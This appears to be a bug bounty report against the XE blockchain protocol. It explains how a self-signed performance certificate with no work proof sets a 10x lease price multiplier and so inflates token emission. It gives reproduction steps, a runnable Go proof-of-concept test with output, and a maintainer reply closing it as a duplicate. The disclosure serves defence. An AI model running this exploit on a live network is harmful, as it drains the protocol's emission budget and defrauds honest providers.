[Severe] Self-issued perf certificate sets lease emission multiplier — up to 10x XE inflation per lease
Report
[Severe] Self-issued perf certificate sets lease emission multiplier — up to 10x XE inflation per lease
Severity (suggested): Severe (up to 25,000 XE) — arguably Critical (protocol emission inflation funded from the emission budget)
Summary
A performance certificate's work proof is never verified on intake, and consensus pins lease cost (and therefore XE emission at settle) to the certificate's self-chosen PriceMultiplierMilli. An operator who controls both a consumer wallet and a provider wallet can mint up to 10x the XE per lease compared to a baseline certificate, repeatedly, draining the emission budget and mis-pricing XUSD escrow conversion.
Root cause
perf/certificate.go:156VerifyCertificateContentonly checks self-signature,Score > 0, puzzle-count constant, accepted workload version, and thatPriceMultiplierMilliis within[PriceMultiplierMin, PriceMultiplierMax](i.e.[500, 10000], line 191). It never verifies the PoW work proof (WorkProof/Seed/nonces).perf/benchmark.go:194VerifyWorkhas no non-test call sites (grep: only its definition). The node's own issuer logs "sim-only feature; production use is gated on anti-cheat" (node/perf.go:86-89) but no such gate exists in the verifier.core/ledger.go:1547(validateAndAddLease) andcore/lease_renew.go:84pin lease/renew cost toLeaseCost(..., cert.PriceMultiplierMilli);core/ledger.go:2070LeaseTotalEmission=LeaseEmissionChecked(cost, R)=cost * R / 1000.CapRcapsR, nevercost. So emission scales linearly with the attacker-chosen multiplier.
Impact
Protocol emission budget pays up to 10x per lease; XUSD escrow is burned at settle at the same preferential conversion, so this also skews the escrow/supply accounting. Honest providers are displaced in any score/multiplier-ranked selection.
Steps to reproduce
- Create provider wallet B. Self-issue a certificate with
SignCertificate: fresh key,Score: 0.001,PriceMultiplierMilli: 10000,ExpiresAt: now + 10y, no benchmark run. - Gossip it — every node accepts it into the cert store (only content check runs).
- Consumer wallet A posts a lease to B at the 10x-quoted cost;
validateAndAddLeaseenforces that exact cost andlease_acceptaccepts. - At settle,
LeaseTotalEmissionpays ~10x the XE a baseline-cert lease would pay.
Proof of concept
- Go test:
SignCertificatea cert with multiplier 10000 → assertVerifyCertificateContent(cert) == nil; assertVerifyWork(cert.Seed, nil, cert.Puzzles)fails (proof absent), proving intake skipped the proof. - Two-node local testnet: post a 10x-cost lease, settle, diff settled XE vs a 1000-milli lease (expect exactly 10x).
Fix direction
Verify the work proof on intake (VerifyWork bound to Seed/CPUHash), and/or bind Score to PriceMultiplierMilli so a multiplier above 1000 requires a proven high score.
Runnable PoC (passes on repo @89a542e, Go 1.25)
perf/poc_multiplier_test.go:
package perf
// PoC for: self-issued perf certificate sets lease emission multiplier — up to 10x XE
// inflation per lease. Run: go test ./perf/ -run TestPoC -v
import (
"encoding/hex"
"strings"
"testing"
"time"
"github.com/xeprotocol/xe/core"
)
func newForgedCert(t *testing.T, multiplier uint64) *Certificate {
t.Helper()
kp, err := core.GenerateKeyPair()
if err != nil {
t.Fatalf("keygen: %v", err)
}
if core.GetNetworkID() == "" {
core.SetNetworkID("testnet-0005")
}
now := time.Now().Unix()
c := &Certificate{
Provider: kp.Address(),
Seed: strings.Repeat("ab", 32),
WorkloadVersion: WorkloadVersion,
Puzzles: PoWPuzzles,
WorkProof: "", // NO work proof supplied
CPUHash: strings.Repeat("cd", 32),
Score: 0.001,
StartAttestationRoot: strings.Repeat("00", 32),
EndAttestationRoot: strings.Repeat("00", 32),
StartMedian: now,
EndMedian: now,
IssuedAt: now,
ExpiresAt: now + 10*365*24*3600,
PriceMultiplierMilli: multiplier,
}
if err := SignCertificate(c, kp); err != nil {
t.Fatalf("sign: %v", err)
}
return c
}
func TestPoCSelfSignedMaxMultiplierAccepted(t *testing.T) {
for _, m := range []uint64{PriceMultiplierDefault, PriceMultiplierMax} {
c := newForgedCert(t, m)
if err := VerifyCertificate(c, time.Now().Unix()); err != nil {
t.Fatalf("multiplier %d: content verification REJECTED (expected accepted): %v", m, err)
}
}
}
func TestPoCWorkProofNeverBoundToMultiplier(t *testing.T) {
c := newForgedCert(t, PriceMultiplierMax) // 10000 = 10x baseline 1000
// The advertised PoW (1024 puzzles, small target) must fail for the empty
// WorkProof — and nothing in VerifyCertificateContent noticed.
seedBytes, err := hex.DecodeString(c.Seed)
if err != nil {
t.Fatal(err)
}
var seed [32]byte
copy(seed[:], seedBytes)
if _, _, err := VerifyWork(seed, nil, PoWPuzzles); err == nil {
t.Fatal("VerifyWork unexpectedly passed with empty proof")
}
if err := VerifyCertificateContent(c); err != nil {
t.Fatalf("VerifyCertificateContent rejected cert the report claims is accepted: %v", err)
}
t.Logf("accepted: Score=%f PriceMultiplierMilli=%d WorkProof=%q (len %d) — no proof, no check",
c.Score, c.PriceMultiplierMilli, c.WorkProof, len(c.WorkProof))
}
func TestPoCEmissionScalesWithSelfChosenMultiplier(t *testing.T) {
// LeaseCost is linear in the multiplier, and LeaseEmissionChecked is linear
// in cost — so a self-chosen multiplier inflates settled XE linearly.
base, _ := core.LeaseCost(8, 16_000, 100, 24*3600, PriceMultiplierDefault)
max, _ := core.LeaseCost(8, 16_000, 100, 24*3600, PriceMultiplierMax)
if max != base*(PriceMultiplierMax/PriceMultiplierDefault) {
t.Fatalf("expected linear multiplier scaling: base=%d max=%d", base, max)
}
r := uint64(500) // CapR'd rate
eBase, _ := core.LeaseEmissionChecked(base, r)
eMax, _ := core.LeaseEmissionChecked(max, r)
if eMax != eBase*(PriceMultiplierMax/PriceMultiplierDefault) {
t.Fatalf("expected linear emission scaling: base=%d max=%d", eBase, eMax)
}
t.Logf("emission per 24h lease: baseline=%d µXE, attacker-issued cert=%d µXE (%dx, self-chosen multiplier, zero run work)", eBase, eMax, eMax/eBase)
}
$ go test ./perf/ -run TestPoC -v
=== RUN TestPoCSelfSignedMaxMultiplierAccepted
--- PASS
=== RUN TestPoCWorkProofNeverBoundToMultiplier
accepted: Score=0.001000 PriceMultiplierMilli=10000 WorkProof="" (len 0) — no proof, no check
--- PASS
=== RUN TestPoCEmissionScalesWithSelfChosenMultiplier
emission per 24h lease: baseline=5040000 µXE, attacker-issued cert=50400000 µXE (10x, self-chosen multiplier, zero run work)
--- PASS
PASS
ok github.com/xeprotocol/xe/perf 0.024s
Thread
XE payout address for this finding: 10b3dcf69edda38c4b579ade45e0bb110c04ce7215837d8f0b784916d5a50405
Status check and clarification on XE-13228 (filed 2026-11-11, still new; a note was added 2026-11-14 but the verdict/tier fields remain empty).
One-line impact recap: VerifyCertificateContent accepts a self-signed performance certificate without verifying the work proof, and lease/renew cost — and therefore XE emission at settle (LeaseTotalEmission = cost * R / 1000) — is pinned to the certificate's self-chosen PriceMultiplierMilli (bounded [500, 10000]). An operator holding both a consumer and a provider wallet can therefore mint up to 10x the baseline emission per lease, repeatedly.
Anchors are in the report body: perf/certificate.go:156, perf/benchmark.go:194 (no non-test call site), core/ledger.go:1547, core/ledger.go:2070, core/lease_renew.go:84.
Happy to supply extra detail, a patch sketch, or a minimal test case if useful to triage. If the report is merely queued, a one-line status note is all I need — no rush.
Thanks. This is the same finding as https://bounty.xe.network/XE-0001, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-13228 and says what differs; it is read like any other.